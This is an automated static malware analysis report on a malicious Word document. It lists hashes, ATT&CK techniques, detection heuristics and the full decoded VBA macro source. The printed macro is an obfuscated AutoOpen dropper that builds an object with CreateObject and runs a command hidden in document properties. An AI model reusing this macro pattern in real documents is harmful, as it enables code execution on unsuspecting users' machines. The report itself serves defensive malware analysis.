Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a25cdc673846d5dc…

MALICIOUS

Office (OLE)

73.5 KB Created: 2018-04-25 21:21:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: df258ff51ec8051e41fb233528f8a139 SHA-1: c89a2c2d6e760e501d1a845e6e69a91b204c5d6b SHA-256: a25cdc673846d5dcac0886dfdea1b56871d9c00f8a98b11f48909ea260b7fa5e
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes CreateObject to instantiate an object and then calls its Run method with a string derived from the document's properties. This behavior is indicative of a dropper or downloader attempting to execute a secondary payload. The presence of references to PowerShell and Windows Script Host further suggests the execution of external scripts or commands.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6999774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6999774-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     udufkuuhxl
    Set TjkZhpRizSPQv = CreateObject _
     (QCrTiXZtG.Text)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
    Set gLjbzQfPdGkPz = xtqzdfpd.nltzxr
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1128 bytes
SHA-256: 829e347e39d87edceb2cde38f95f866658390eb580071a12309b09ab45e574a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Set gLjbzQfPdGkPz = xtqzdfpd.nltzxr
If kfmMdfiivlls <> aQFCCihqhtB And SblthnBrwZM = 629 + rMqTDMRgphFxmjqQ Then
MsgBox CVar(zgLBRviqsFGB), aHbXSDwTRLxcv, bjBdHkDZahK
MsgBox 8422, qxDGqbFSwKGWZ, XlWfcmQclZzTt - 420
MsgBox Log(2059), qxDGqbFSwKGWZ, XlWfcmQclZzTt
End If
Set QCrTiXZtG = xtqzdfpd. _
 udufkuuhxl
Set TjkZhpRizSPQv = CreateObject _
 (QCrTiXZtG.Text)
WHapHKZKWkkCnFP = gLjbzQfPdGkPz.Text
Call TjkZhpRizSPQv.Run#( _
 WHapHKZKWkkCnFP + "", _
 344)
End Sub



Attribute VB_Name = "xtqzdfpd"
Attribute VB_Base = "0{C392B0F6-756E-495A-BCF6-5B258E7874E6}{C6054B67-7A31-4B15-B9DF-38766BC4ECA9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False